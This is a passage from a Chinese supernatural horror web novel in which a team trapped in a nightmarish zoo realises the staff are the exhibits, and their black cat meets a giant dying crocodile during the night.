夏双双推门,一阵腥臊热风铺面而来,雄狮直立而起,血盆大口在她头顶张开。她拿起一块肉,塞进狮子的嘴里。 身后传来铁门哐当合上的声音。 柴刚捷扭曲的脸贴着铁网,对她大声说:“我的任务已经完成了,我才不会和你进去!你自己去喂狮子吧!” 夏双双没有管脚边啃食的雄狮,“你和我组队时就想杀了我,是吧,为什么?” 柴刚捷表情变了一瞬,被拆穿后明显露出心虚,大声喊:“这是园长的任务,这是园长的任务!这样能让游客开心,游客多了,效益达标,我们就能离开了!” 第106章 柴刚捷转身就想跑, 但一只手从笼中伸出,抓住他的马甲。他惊恐回头,夏双双的鞋子抵在门口, 让门没法闭上,他刚才太惊慌,居然没注意这点! 夏双双拉着他往笼子里拖。 “不!”柴刚捷绝望地喊,手抓着栏杆,却根本没法和夏双双抗衡,直接被拽进笼中,摔在地上。 “吼!”雄狮刚吞完嘴里的肉,大爪子往地上一拍,冲到柴刚捷的面前,张开血盆大口,咬住他的脑袋。 柴刚捷闭上眼睛等死。 他的整个脑袋都被雄狮吞入嘴里,腥臭温热的口水在脸上淌过,钝长牙齿刮擦皮肤。他几乎能想象接下来会怎么样——咔嚓一声,自己的脑袋像水球一样被咬碎,爆出鲜血与脑浆。 这时, 眼前又亮了起来,雄狮不情不愿地跑到角落,咬起一块肉。 柴刚捷被吓破了胆,瘫软在地上,惊魂未定地看着女人。 夏双双后背抵着门,从背包里抓出一块滴血的肉, “游客在哪里?进来这么久,怎么没有看见他们?” 不用她再做什么,狮口逃生的男人被吓得什么都招了。 “我们看不见游客的, 他们不会进来。” 夏双双皱眉,“游客既然不进来,怎么能算游客?” “这些都是园长说的,园长会记录游客的满意度和数量,如果能吸引到足够游客,我们就可以离开了。狮子吃完了!别杀我,求求你。”男人哭得一把鼻涕一把泪,跪在她的面前。 夏双双用背包装的新鲜人肉喂饱了狮子。她知道这样不妥,但一时想不到其他办法,趁着在狮子笼里,她从柴刚捷的嘴里问出不少问题。 老员工们不记得自己夜晚做的噩梦,他们也全没发现,人群里少了个人。 “动物园两两组队,我是新来的,你就没意识到不对?” 柴刚捷呆呆看着她,常年营养不良,让他的思维也开始混沌。 夏双双只好点明:“你原来的队友死掉了,所以你剩下,和我组队。” 柴刚捷好像明白了一点,但表情还是恍惚,“是这样。” “你好像一点都不惊讶?” 柴刚捷呆呆地看着她,只有在狮子靠近时,才会发出凄厉惨叫。像个机械僵硬,只会重复的NPC 。 夏双双又问:“为什么你想要害我,是因为肉不够?” 柴刚捷抬起眼,脸上露出神经质一样的恍惚笑意,“这样游客喜欢。” 之后,夏双双再逼问不出什么有用线索,用背包这袋肉喂完猛兽,做完任务,天已经微微发黑,她拎着被血水浸透的包,快步往宿舍走,关于这个鬼域,她心里有了个猜想。 看见两个人都安全待在宿舍里,夏双双心里松口气,环顾四周,诧然问:“咪咪和闪电呢?” “它们还没回来。”夏炫叹口气,就算知道狸大人本事了不起,他还是悬着颗心,频频往门外张望。 “我把人肉喂给了动物。”夏双双说。 “我们也喂了,就算配合很好,用最短的时间,原来配给的食物没办法填饱猛兽的肚子,只能使用多余的那份肉。但吃了肉之后,野兽的状态明显不对,”夏炫快速地说自己那边发生的情况,“吃普通肉类和菜叶的熊还好,但那头豹子吞了人肉后变得很……它盯着我们,一直在流口水,眼睛发红,要不是我们及时跑出来,差点被它咬掉了一块肉。” 从野兽眼神中,他看见赤裸裸的贪婪与食欲。 自己是它们眼里的一块肉。 “我实验了一下,”夏炫继续说:“喂食人肉后,它们对普通的肉类失去了兴趣,动物园配给的普通肉类没法再满足它们的胃口,我试着丢了块冻肉,发现已经无法再吸引它们。” 夏双双:“也就是说,明天我们必须要面对一头吃人肉的猛兽。而且,野兽在变得挑食,趋向于失控。” “明天我们还能有新鲜人肉吗?”谢临风忧心忡忡,“如果没有,今天尝过人肉味道的野兽肯定会攻击我们。” 好在他们选择让豹子吃人肉。比起几百斤的大棕熊,花豹杀伤力没那么可怕,想吃掉他们两个成年男人,并没那么容易。如果鬼域不作限制,他们拿到工具,可以试试想办法反杀花豹。 夏炫扫了眼集装箱的员工们,比起昨天,今天人数少了一些。他本来好奇,员工们没有准备多余的肉,该怎么喂饱这群野兽。 现在答案显而易见: 他们自己当了储备的粮食。 “队长,你呢?”谢临风问。 夏双双简要说了发生的事。谢临风气不打一处来,看柴刚捷挤在人群里抢馒头,心里更窝火,揽起袖子想去揍他。 “算了。”夏双双拦住他,“换成别的员工,也会找机会对我们下手。” “为什么?我们没做什么拉仇恨度吧?” 这次他们又不像在玫瑰镇里一样特立独行,因为身份设定无法融入镇民中。而在动物园中,他们一直按照老员工的规矩做事,没有引起众怒,老员工们也没表现出明显敌意。 夏双双:“他说,这是园长的任务。这样能提高动物园的效益,让游客更加满意。” 谢临风气笑了,“园长果然不是什么好东西。这些鬼游客,看着我们被野兽猎杀,才会满意?他们到底是什么心理变态啊?” 夏双双点头,“是这样,所以园长想要挑拨我们自相残杀。如果明天猛兽只能吃人肉才满足,你们觉得会发生什么情况?” 谢临风喃喃:“背刺队友,杀人,什么都有可能发生。” “对了,你们看见游客了吗?” 两个人摇头。 夏双双在集装箱踱步,“如果一个游客都没有,根本无从达到让游客满意的条件。诱导员工自相残杀也没有意义,我想,这个动物园肯定是存在游客的。” “如果存在,他们在哪里?” 夏双双目光越过铁网窗,“在外面。” “外面?今天工作结束,我们在宿舍外转一圈,没看见游客。” “不,是我们所在的动物园的外面。” 夏双双抿了抿嘴,残酷宣告,“我们才是被观赏的动物。” 夏炫指着自己,“我们是动物?可我们不是人吗?” 谢临风轻轻呼出口气,“人本来也是动物。” 如果要分类,他们大概是脊索动物门-哺乳类动物刚-灵长目-人科-人属-人种。 他将目光投向宿舍中席地而坐争抢食物的员工们,以前的违和感有了答案——作为员工宿舍,这个集装箱确实不够格,但如果关在里面的“员工”,只是一群猴子呢? 夏炫捏了捏眉心,努力让思绪冷静下来,“好吧,我更想离开这个鬼地方了。上个鬼域咱们变树,这个鬼域成猴子了。要是离开这里,我们应该做什么,潘新月说,队长他们是完成园长的任务,才离开的这里。” “我知道了!”谢临风说:“我们作为新员工,进入老员工之中,和他们刻意产生矛盾,之后我们再争个高低,这不是猴王争霸嘛。难怪观众们爱看。” “去你的猴王争霸。”夏炫守在门口,焦急地回头看逐渐暗去的园区,傍晚斜阳如血,动物园沉入暗红的光线里,远处响起野兽饥饿的嚎叫。他睁大眼睛,看得眼睛都疼了,也找不到小小的黑猫。 谢临风自顾自地说:“如果游客们希望看的我们当挑战者,去挑战旧猴王,在这个动物园里,旧猴王代表什么,这群半死不活的老员工吗?” 夏双双摇头,“老员工已经被动物园驯化,没有办法反抗,如果说要选一个猴王的话,我想应该是园长。” “园长,那不是和游客是一伙的嘛。” 夏双双轻摇头,“园长也在动物园里。你们应该注意到了,在动物园中,分为了两个派别,一个是原来庆康集团的员工,他们被关在宿舍中,做最危险的工作,吃不饱穿不暖,而另外一个派别,是动物园的管理层。” 出场过的几位管理人员:园长、冷库管理员、分布任务的张姐,都吃得身材庞大,与骨瘦如柴的员工形成鲜明对比。 “这几个管理人员,”谢临风回忆起管理员两米多的身高,“说不定已经是怪物了。还会挑唆这些人来害我们。” 夏双双点头,“这场挑战,不容易。” 他们不仅要面对动物园的食人野兽,还可能要挑战非人的几个管理。 夏炫推开门,往外面走,“我现在想不了什么猴王争霸,我去咪咪负责的笼子去看看。” “入夜了,野兽会跑出来,很危险。”夏双双开口,陈述事实,“而且,咪咪和闪电在野外,生存几率比你要大很多。” 平心而论,夏炫清楚这件事,小猫小狗野外生存能力可比他直立两脚猿强多了,尤其是小黑猫,找棵树往阴影里一蹲,谁也别想看见它。 但是! 谁会放心自己家小猫咪处在危险的境地中? 狸大人是狸大人,咪咪是咪咪。他的咪咪只是一只柔弱不能自理的小猫咪啊。 血红的夕阳冷冷洒在身上,对面灌木窸窸窣窣,里面似藏着一双双贪婪的眼睛。 夏炫深吸一口气,踏出一步,却听到了软软的猫叫。 在夕阳的尽头,一只小黑猫迈着猫步,走了回来,越靠近人类,它的尾巴翘得越高,笔挺、蓬松的大尾巴像旗帜飘动。 它跑得越来越快,在快碰到人的鞋子时,矜持地停下来,仰起小脑袋看人。 “喵呜。” 夏炫蹲下来,揉揉它的头,轻呼出口气,“咪咪,你怎么才回来?去哪儿玩啦?” “喵呜。”小咪转过身,尾巴扫过青年面颊,示意他看向后面。 顺着小猫的指引,夏炫往后看,不由微微皱起眉。 迎面走来的两个人……莫名有些眼熟,他见过吗? 第107章 迎面走来的两个人一高一矮,同样穿着代表员工的蓝马甲。 是喂食回来的员工? 不对,他们身上的马甲崭新,与老员工们脏兮兮的马甲不同。他们也应该不是和队长一起进入鬼域的, 半年的时间,马甲不会这样干净。 是谁? 夏炫目光掠过平平无奇的男人,有点冒昧地盯着女孩看,心中快速地想,看来只有一种可能,自己这行人踏入鬼域后,这两人前后脚就跟着进来了。难道他们一直偷偷跟在后面? 他不禁悚然,刚想开口喊人,在与对方眼睛相对三秒后,他心中冒出一个奇怪的念头: 这两人只是个普通人,平平无奇路人甲, 没必要放在心上。 夏炫收回视线,抱起小黑猫, 脸在它的毛上用力蹭了蹭, “总算回来了, 快点进去,饿不饿?” 女孩开口:“它不饿,我喂过它吃冻干了。” 夏炫吓了一跳,回头看她,在听她出声时,才有种拨云见日之感, “阿菱?” 孙菱点头,“是我。” 夏炫:“你怎么来了?”他想到孙菱身份,目光警惕, “被谁雇佣了?” 猎人可都是一群只认钱,不认其他的雇佣兵。 “他们出多少钱?我这边可以出更多……” “我是来帮你们的。”孙菱打断了他,“我知道事情严重性,这次不收钱。” “孙菱,宋柏。”两个猎人对精卫小队简单自我介绍,“我们一直在你们的后面,因为能力的关系,才被你们下意识忽视。” 他们也是靠王平的能力,直接穿过治安局的封锁,走入了大楼里。 夏双双眉头轻轻皱了一下,心中难免忌惮。 谢临风更是惊讶出声:“那你们不是可以轻松暗杀别人?” 宋柏:“通常不会这么容易。” 夏双双:“早就听萧队说过,红竹市有位擅长隐藏的猎人。谢谢你们没有站在我们对面。” 孙菱被说得不大好意思,蹲下来把随身带着的猫条喂给小猫咪,“没这么伟大,主要是看在小猫的面子上。” 小咪歪头,“咪呜?” 它开心地蹭了蹭女孩的手,“喵!” 张姐运来了两个红色水桶,桶里照旧装着菜叶窝窝头。她热情地跟员工们打招呼,特别关照几个新员工,把喂食桶放在他们附近。 “把这当作自己家,吃好喝好哦。” 夏炫:“……” 水桶里装的“员工餐”,他在冷库里面见过,就是和尸块冻肉摆在一起的主食。他还捡了不少新鲜一点的蔬果去喂自己那头大熊,导致水桶里装的果子一个个蔫巴巴的,窝窝头上也长着层短短的毛。 真把他们当猴子喂啊。 张姐放在桶,却没有直接离开,而是朝他们走过来。 她微笑着,像个乐观开朗的前辈,“你们今天表现不错嘛。园长对你们特别满意,有意提拔你们进管理层。” 几个人对视一眼。 这是准备拉拢他们? 夏炫打断她的话,“张姐,以前有员工离开这里吗?” 张姐:“啊,我记性不太好,想不起来了。” 她挥挥手,“明天的工作有点重,你们好好睡一觉,马上动物园闭园的铃声就要响了,我也先回去了。” “张姐,你住在哪啊?” 张姐指了指外面,那栋他们刚进入鬼域的签下合同的小楼伫立在夕阳里。她笑着说:“我们都住在楼里,有自己单独的房间,吃的也会比你们现在好,至少能尝尝荤。”她舔了舔自己的嘴巴,舌尖猩红,牙齿上挂着几缕粉红的肉丝,“你们考虑一下。” 张姐很快就离开了。 “她吃过人肉,”宋柏开口:“眼睛发红,牙齿泛黑,体型变大,很典型的人魈的特征。” “我们要不要今晚动手?” 夏双双摇头,“晚上会我们会陷入噩梦中,在梦中会一直被野兽追杀,直到第二天早上。如果被追上,十有八九会被它们直接杀死,第二天作为食物,出现在冷库里。陷入噩梦的时间点……”她仔细回想昨天发生陷入梦魇的时间,“在动物园闭园音乐结束,最后铃声响起的时候。” 说到这个时候,一阵轻松愉快的音乐声飘来。 宿舍里的老员工们吃完东西,各自躺下,有的面对着墙,拿头在轻轻撞墙,有的站在角落,独自转圈。 “这是什么?行为艺术?”孙菱好奇看着他们。 “刻板行为,无法适应环境的被圈养动物,经常出现的动作。”谢临风和她解释:“这种圈养环境单调重复,地方又小,没有办法满足动物的需求,于是很多动物会重复一些奇怪的行为,其实是痛苦和压力太大,无法排解,才造成的,以前在动物园很常见。” “人也会刻板行为啊?” 谢临风:“当然啦,人本质上也是动物嘛,自闭症的小朋友很多也有刻板行为,成年人的压力超过阈值,心理同样容易出问题。” 其实他昨天就注意到了员工们诡异的行为,但当时完全没往动物的刻板行为上想。 他的肚子叫了两声,为难地看向夏双双,“队长,我们要不要去吃点东西?” 今天宿舍里的员工少了很多,因此桶里的食物还有剩余。被员工们挑拣过一轮,本来就寒碜的员工餐,只剩下几个硬邦邦的馒头、皱巴巴的苹果、几块烂菜叶子。 但谢临风他们已经很饿了。从昨天晚上到现在,他们没有正经吃过一顿饭,肚子里空荡荡的,看这些潲水一样的东西也忍不住咽了咽口水。 夏双双犹豫了一下。如果不吃饭,他们体力不行,在梦中持续被野兽追击,白天进入笼子与野兽近距离接触时,很有可能支撑不住被它们扑倒。但吃这些东西…… 她走到桶边,拿起一块馒头,在鼻尖嗅了嗅,又放下了。馒头和蔬果都有股淡淡的甜臭味,这样的味道,她在尸体轻微腐烂时闻见过。 冷库里只有一具尸首,也只放了一个晚上,怎么连馒头蔬果上都沾着尸臭味? 夏双双按下心中疑惑,对几个人摇头,“最好还是别吃了,你们身上的能量棒都吃完了?” “对啊,大部分都用来和员工交易拿线索了,好饿啊。”谢临风坐在垫子下,捂着肚子,“完蛋,晚上我肯定跑不动了。” 怀里多了团软软的毛茸茸。 他忍不住在小猫的毛上搓了搓,捏捏它被顺滑毛发包裹、有肉感的腿根,“可以咬一口小猫吗?” “喵呜~”小咪把爪子把他手里抽回来,按住他的嘴巴。 不可以哦。 小咪把藏在肚皮下的东西咬给人类,“喵。” 是块熏干的肉干。 它用爪爪把肉干往人的身边推,示意他收下。 猫能吃很久的肉干,人几口就吃完了,吃完就眼神闪闪发亮地看着小咪,似乎在问:还有吗? 小咪:“喵呜。” 它又从影子里咬出一包鸡肉冻干,一包鸭肉口味的棒棒糖,和一包小饼干。 猫咪的食物没有放盐和调味料,吃在嘴里没什么味道,可冻干零食都是纯肉制品,相当管饱。把小猫的存货造一大半,几个饿得头晕眼花的人类变得神采奕奕,抱住小猫一人亲了一口。 “咪咪,你简直就是我们的守护神,你把这些零食藏哪了?” 小咪甩了甩尾巴,趴在了狗子的身上,下巴抵着爪爪,金色眼睛一眨一眨地盯着人类。猫有点犯愁,人,比猫想象中能吃多了,养活人类,是一件很不容易的事情。 随着音乐渐小,闭园的铃声响起,人们不约而同进入梦乡。 小咪也在一片翠绿中醒来。 月光透过茂密树叶,洒在小猫漆黑的皮毛上,每一根柔软的毛尖,都顶着片灿烂的银辉。风轻轻吹得它身上的毛摇动,身上披着的银白月辉也跟着摇曳。 小咪打了个哈欠,躺在地上伸一个懒腰,四肢抻得很长,像一根猫条。它翻着肚皮,瘫在草地上,看着头顶落满银辉的大树发呆。 树叶沙沙作响,茂密的树叶中,快速闪过一抹斑斓的颜色。 小咪尾巴的毛炸开,身体瞬间弹起,跳到旁边。下一秒,一只硕大凶猛的巨虎就从树上跳下,落在它原来站的地方。 巨虎四足蹬地,身体粗壮、前臂肌肉遒劲,爪子比猫都大,它竖起钢枪一样的尾巴,回头看着小咪。 小黑猫匍匐在它的影子里,只有小小一团,眼睛瞪得圆圆,朝着它哈气。 “哈——”它全身的毛都炸开,身体往前倾,哈了声后,后爪一蹬,跳到了树枝上,掉头就跑。 身后传来树枝坠地的声音,巨虎的吼声震啸山林。 小咪被追着在森林里狂奔,今天晚上的梦比昨晚更加真实,只要它稍微跑慢一点,那头巨虎的血盆大口就已经靠近,喷出腥臭的气体吹起咪的尾巴毛。 它拼命往前跑,心跳快得几要从小猫的嗓子眼里蹦出来,但猫并不擅长奔跑,逃了一会,小咪往一颗大树漆黑的树影中一钻,悄悄回头往后看。 喵呜? 巨虎就在两米外,本来就庞硕的身体,变得更加巨大,像一座小山。它的脑袋在叶子间嗅来嗅去,闻小咪的味道。 小咪趴在树影中,盘成一团。巨虎血红的鼻头就在它的面前晃来晃去,喷出的热气扫在了猫的身上。 小咪的肉垫握了握,忍住给它鼻头来一爪子的冲动,沉默地匍匐着,猫漆黑的皮毛完美融入了阴影中。 巨虎的鼻头最后就停在了猫的面前。 小咪咬住自己的尾巴,一阵腥臊的热气时不时喷来,它被吹得身上热烘烘的,鼻子也失去往日灵敏。 咪对自己的隐藏技能很有信心,如果是人的话,肯定找不到它。 正想着,一滴水掉在了小咪的身边。 下雨了吗? 又一滴水掉下来,这次是落在它身上,隔着一层毛,猫能感受到在自己后背滑过的液体。恶臭、黏稠、腥热,似露珠滚过它的脊背。 小咪抬起头。 一张巨大的面孔张着嘴,从下而上看着它,流出的口水不停滴下来。 “喵呜!”小咪低呜一声,身体一扭,往树下跑。它用最快的速度奔跑,身形化作道漆黑的残影,跑出一百多米,停下来回头看一眼。 巨虎变得更大了。 几乎有三层楼那么高,朝着小咪追过来,一步就迈出十几米。小咪四只爪子蹬出火星子,再回头看,小山一样的巨兽已经在自己身后,张开巨嘴,就要一口把它吞下。 小咪歪了歪头,突然觉得有点不对。 第108章 小咪往左右两边看, 树影婆娑,森林里植被茂盛,很难辨别方位。但小猫靠细小的差别, 认出来了,它兜兜转转跑了一大圈,还是在原来的位置。 小猫抬起头。 巨虎就在它面前, 像一座高耸的山,它看不见虎的头顶,只能看见一对灯笼般血红的眼睛。 为什么会变得越来越大,越来越近呢? 小咪停下思考时,这头巨虎竟也很礼貌地停下来,长满倒刺的舌头舔过嘴皮,凶相毕露,极致的压迫感让小猫忍不住炸开毛, 本能想掉头就跑。 小咪抬起一只爪爪,肉垫悬在半空。 不对劲。老虎好像在逼着它往前跑。 大家都是猫科动物,在习性上有相似之处。猫是没有耐性的动物,如果一只耗子在小咪眼前这么晃悠,它肯定会马上扑过去,把它咬进嘴里。 它在逼自己逃跑? 如果不逃,会怎么样呢? 这是个冒险的举动,小咪跑到树根,磨了磨爪子,面对着狰狞的恶虎,往前迈出一步。 一猫一虎的距离居然变得更远了。随着它一步步迎着老虎跑,老虎的身体也变得越来越小,最后只有小咪这么大,像一只圆头圆脑的橘猫。它不甘地嚎叫一声,扭头钻进了山林中,小咪凯旋,尾巴高翘,跑到树根继续磨爪子。 磨着磨着,老树根坚硬粗糙的爪感变了,再低头一看,褐色的树皮变成闪电黄褐的屁股,它的爪子把闪电的毛挠得一道道的。 狗子在睡梦中也不安稳,身体时不时一抽搐,在它的噩梦里,除了一直追赶它的野兽,也许还有一只把它当猫抓板的小猫。 小咪心虚地蹭蹭闪电,把它被挠的痕迹抹平,坐在狗子的身上,把它当作一个温热的猫窝。经过昨天夜里的经历,它知道叫不醒众人——他们梦中的野兽,只能他们自己去应对。 它揣着爪爪蹲了一会,忽然感觉到异样,抬起头一眼,铁网后多了一双双血红的眼睛。小咪后爪用力在闪电身上蹬一下,借力跃起,指甲勾住铁网,挂在了窗户上。 一网之隔,一条湾鳄冰冷地看着它,布满麟甲的狭长吻部抵着铁网,凸出的眼睛十分明亮。小咪听谢临风说过,湾鳄是很可怕的鳄鱼,会用大嘴咬住猎物,在水里死亡翻滚,将猎物摔碎摔软再吃掉。 人还对猫说过,鳄鱼的鼻子神经发达,如果遭遇鳄鱼,用力攻击它的鼻子,或许能逃过一劫。 小咪警惕地与湾鳄对视,过了一会,它伸出肉垫,拍在湾鳄的鼻子上。 鳄鱼依旧用毫无表情的面孔看着它,没有反应。 是猫的力道太小了吗? 小咪爪子在空气中按了按,刷地一下亮出自己的指甲,用力在鳄鱼吻部一挠。指甲划过硬质甲片,发出呲声,鳄鱼短短的爪子趴着窗户,面无表情,被猫抓过的地方连点白痕都没有留下。 “喵呜。” 小咪挫败地叫了声。相比较自然界其他生物,人类的皮肤太薄,脆弱得像布娃娃,猫的指甲一划,就会把他们勾丝,让他们大呼小叫。 猫也并不强。 接连面对自然界的王者,小咪总算意识到这个问题,胡子与尾巴沮丧地垂下。它歪头蹭了蹭铁丝网,一抬起眼,鳄鱼依旧在看着自己。 “喵呜。”小咪将鼻子凑近,细嗅它身上飘来的气味。 很奇怪。 它身上没有血腥气。 小咪跳到了地上,轻轻哼了声,脚步轻盈地迈过熟睡的众人。它心中闪过一个奇怪的念头:大家在睡觉,吃人的野兽在梦中追杀他们。 那现在,趴在窗口,紧盯着他们,把他们当成罐头的动物又是什么? 小咪跑到大门前,没有直接开门,用它的小爪子,也解不开门上厚重的铁锁。它将能力覆盖在门上,让门把自己吐了出去。 在离开宿舍前,小咪犹豫了一秒钟。 宿舍是安全区,外面都是破笼而出的野兽,如果猫跑出去,梦中发生的景象就要在现实上演。或许更甚,追它的不止一只老虎。 但咪就是好奇! 咪想要,咪得到。 小咪坚定地纵身一跳,跳出门外,嗒嗒往外面跑。 动物园陷入黑暗中,黑夜幽沉、黏稠,压在小猫漆黑的背脊上,让它不禁垂下尾巴。 小咪警惕地嗅着空气中的味道,避开游荡的野兽。这群野兽们背对着猫,一排排趴在铁窗,像人一样直立着,贪婪地望向宿舍里,没有发现在后面穿过的小猫。 小咪蹲在它们身后,仔细观察一会,见它们一动不动,就甩了下尾巴,准备离开。忽然,它察觉到与梦中相同的危险预告,回头一眼,一头橘纹巨虎悄无声息地跟在它的身后。 这次与梦中不相同,在它回头后,老虎猛地往前扑,爪子几乎不着地,踏着风,追了过来。 小咪试着往前一步,发现梦中奇异的景象不会再发生后,也连忙后腿一蹬,扭头就跑。 两个猫科动物都迈动矫健的四肢,踏云腾雾般跃步,然而小咪的腿比大虎短多了,没跑两步,就被它追上。 看着巨虎血盆大口咬过来,小咪使用影子,丢几块石头进它的嘴巴里,同时身体一个转身,从老虎的肚子下钻过去,往另外一边跑。猫的视线中出现一座崎岖高耸的小山,它跳起身,慌张爬到了假山上,趴在山顶,看着那头追自己的巨虎。 巨虎匍匐在地,慢慢往后退。 “喵?” 它是怕了咪吗? 小咪低头一看,恍然大悟:它是怕了咪踩着的“山。” 肉垫下踩着的不是石头,而是那头身长足足六米的大湾鳄。湾鳄直立起身,身躯比集装箱还高,身披黑褐坚硬的麟甲,像座怪石嶙峋的假山。 连吃人猛虎看见它,也要往后退。 小咪的身体僵住,看着脚下的“石块”,犹豫了一下,选择继续趴在它的头顶。鳄鱼身躯坚硬,骨架庞大,却很瘦,皮肤像松垮的口袋挂在骨头上。 它无视头顶小猫,身边盘踞的猛虎,短小的爪子趴在铁网上,专注地看着宿舍内。 于是小咪爬到它的吻部,尾巴扫过鳄鱼似乎冰冷、没有感情的双眼,与它一起透过铁网,看向里面。 里面依旧是睡得横七竖八的员工们。 难道它们真的是想守在这里,把员工们全吃掉吗?就像猫看罐头一样? 小咪踩着鳄鱼的长吻,身体转了个方向,猫猫的圆眼睛恰好对上鳄鱼的眼。它的眼睛很大,鼓起外突,虹膜是绿色,中间有一竖条,泛着冷光。 不像小狗天生湿漉漉的眼睛和发达的眉肌,总让人觉得可爱心软,鳄鱼的眼睛总给人以冷酷无情的感觉,配上它巨大躯干、覆满鳞片的身体,像个冷血的怪物。 它进化的方向就不讨人喜欢。 小咪用爪爪在鳄鱼的鳞片上挠了挠,发现新的猫抓板,开心地挠了好几下,又想: 但是为什么它要长得讨人类的喜欢呢? 园里这么多种动物,长相各异,有的爬行类身体粗粗手脚短,有的背上顶着口大黑锅,有的跟烫头小子一样有爆炸头…… 它们都是自己领地的王者,进化成这幅模样各有各的道理,生在自然中,本来就不是为了讨人类的喜欢。连猫长成这样,也不是为了迎合人类的审美。 不过,咪听见人夸它可爱时,还是会忍不住高高翘起尾巴。 小咪凑近鳄鱼的眼睛,月光在它的眼里投下粼粼的光,暗绿色的虹膜似一片绿色的湖水,在水面倒影中,猫真的看见一带翠绿的河水,以及河两岸郁郁葱葱的深绿。 喵呜? 小咪把脑袋转来转去,看看铁网内,再看看鳄鱼的眼睛,意识到一件事。对于宿舍里的人,趴在铁网的猛兽似乎是在暗中窥伺,企图将他们吞入腹中,但对于铁网后的猛兽,它们凝视的,是那片梦中郁郁葱葱的森林与旷野。 对人类而言,森林、沼泽、原野、荒漠,极其危险压抑。但对于这些猛兽,那是它们原本就生活着的栖息地,是千万年来从未变更过的家。 ———— 铃声响起。 小猫的身体突然摔了下来,一抬头,那条鳄鱼看似迟缓,却极其迅速地消失在了晨光中。 “咪咪?咪咪!” 它听见人在屋里焦急地喊自己,于是扒拉窗户,对着他们叫:“喵呜。” 猫在这里。 早上大家照例一起交流情报。 “一条鳄鱼?”夏炫问:“你们在动物园里转一圈,看见过一条这样大的鳄鱼吗?” 几个人摇头。 “但我知道有条很有名的食人鳄鱼,”谢临风作为动物爱好者,和他们科普,“身长超过六米,体重最少一吨,吃了三百多个人,连机枪也穿不透它的皮肤,几次人们试着围剿它,它和袈裟悬一样,像是能识破人类的陷阱,每次都成功躲开了。它的名字叫古斯塔夫。” “咪咪看见的是这头鳄鱼?难怪老虎看见它都往后退了。” 小咪认真回想,“喵——” 它很大很大。 谢临风:“古斯塔夫的背部有很多弹坑,右肩膀有个大伤疤,是被机枪扫射,和其他热武器留下来的。咪咪,你见过的那头鳄鱼身上有疤痕吗?” 小咪:“喵呜——” 没有喵。 它仔细想着被自己当了一晚上猫窝猫抓板的鳄鱼——它很慢,反应迟缓,身体上有多处溃烂,下巴也烂了个大洞。 是一条非常大,却虚弱的、濒死的、毫无危害性的鳄鱼。 “听咪咪的描述,不像是野生的动物,像是一直圈养起来,生长在恶劣环境里的动物。等等——”谢临风眼睛一亮,“在这么多野生的猛兽里,只有这条鳄鱼是确定被人类圈养的吧!它是唯一特殊的那个,我们要找到它!” 然而,不等众人露出喜色,夏双双摇头,“没有这样一条鳄鱼。张姐发的饲养任务里没有它,我问了柴刚捷和潘新月,他们来动物园这么久,同样没有看见过这样一条鳄鱼。” 第109章 “没有鳄鱼?那咪咪晚上看见的是什么?” “咪呜。”小咪叫得胡子颤动。 咪看见了, 咪用自己的胡子保证。 夏炫捏了捏它的肉垫,“我们当然信小咪,如果鳄鱼在所有人的眼里都不存在,意味着它更特殊了,待会想办法从张姐嘴里套出点信息。” “园长的办公室应该也有所有动物的资料,”夏双双想了下, 继续说:“还有昨天,在冷库里发现上一拨人留下的线索,冷库也应该仔细搜索。我们分成两拨人,一拨去冷库,另外一拨人去园长办公室。” 如果孙菱没有来时,她不太好分队,但有了孙菱和宋柏加入,分队便可以实施。 “那我们不喂动物了吗?”谢临风问。 夏双双:“既然喂动物是一场表演秀, 我们扮演的也不是员工,没必要再配合他们表演, 而且我们身上没有食物, 再拖下去, 可能明天就没有体力去应对猛兽了。” 分配完任务,张姐笑着走过来,朝他们招手, “考虑得怎么样?” 夏炫和谢临风过去,发挥自己的社交功能,一口一个姐,把张姐逗得喜笑颜开。在听见他们问起动物园还有什么动物时,她指了指装抽签的箱子,“都在里面呢,昨天不都抽过一次嘛,你们想喂什么,姐给你们整个轻松点的。” 谢临风说:“有的动物不用每天喂食,为了避免肥胖,喂几天就会停一天,或者减少投喂量,投喂按照季节和动物健康调整,比如,鬣狗,熊类……鳄鱼。” 张姐摆手,“我们动物园不大,就这么多动物,没其他了。” “姐,你不是说园长想提拔我们嘛,我们想去园长面前表现一下,不知道园长现在在不在办公室。” 张姐笑着说:“在的在的,园长每时每刻都在,不过园长可不会轻易就见你们。除非,你们像昨天一样好好工作,让院长能看到。” “吸引来更多的游客?” 张姐点头,“吸引游客是最重要的。” “园长怎么知道吸引了多少游客?” 张姐:“你别管这个,这不是我们应该知道的。今天人手不够,每个人要喂两只动物,既然你们想要表现,就再多喂两只吧,以你们的能力,肯定能做到的。” 她拿出几张动物卡片,刚想递给众人,突然闪电般从夏炫怀里伸出一只毛茸茸的漆黑爪子,打在她的手背上。 “啪!” 卡片掉在地上。 张姐勃然大怒,“你干嘛呢?你这个……不听话的喵喵!” “喵呜。”小咪伸出爪子,肉垫拍张姐得邦邦响,她身上的肉阴冷、过分柔软,爪子拍下去就会凹陷一个小坑。 “姐,别生气。”夏炫弯起眼睛,笑着说:“我们喵喵只是想出了一个更好的办法,能够吸引来不少游客。到时候,园长的欣赏少不了,说不定还会提拔它作副园长。” 张姐的嘴角撇了一下,强行伪装也掩藏不住眼里的阴霾。 八字还没一撇,就这么迫不及待想当副园长,简直是踩在她这个老人的头顶。 但她瞥眼已经爬到人头上的小黑猫,心里不由冷笑:呵,狐媚子,看这模样,也是习惯了踩在人头顶的。 “什么好办法啊?”张姐压住不满,笑嘻嘻问。 “喵呜。”小咪把脸扭到一边,看见人已经为它开好罐头,它扭了几下,跳到地上,嗒嗒跑去吃饭。猫吧唧吧唧嘴,舔着罐头上胶状肉糜,旁边几个人蹲着看它吃,悄悄在吞口水。 小咪吃得差不多饱了,罐头里还剩许多,它用肉垫把罐头推向人,“喵。” 人,快吃。 夏双双摸摸它的头,笑着说:“没事,你们吃吧,”她把罐头推给闪电,“狗狗还没吃饱吧?” 闪电坐得笔直,端正,气质冷峻,一眼都没有看地上散发肉香的罐头。 和咪以前见过的,看见好吃的就扑过来流口水摇尾巴,甚至追在咪屁股后面的狗子仿佛不是同一个物种。 小咪余光瞥见夏炫和张姐离开,担心地叫了一声,想跑过去保护人类,却被夏双双一把抱在了怀里。 “喵?” “没事的,他们很安全。”夏双双微笑,“小猫不要担心。” ———— 来到一个远离人群的僻静角落,张姐焦急问:“你说的那个主意,是什么?姐当了副园长,肯定给你更多好处。” 夏炫:“就是。” 他停顿下来,身体稍微往侧边站。 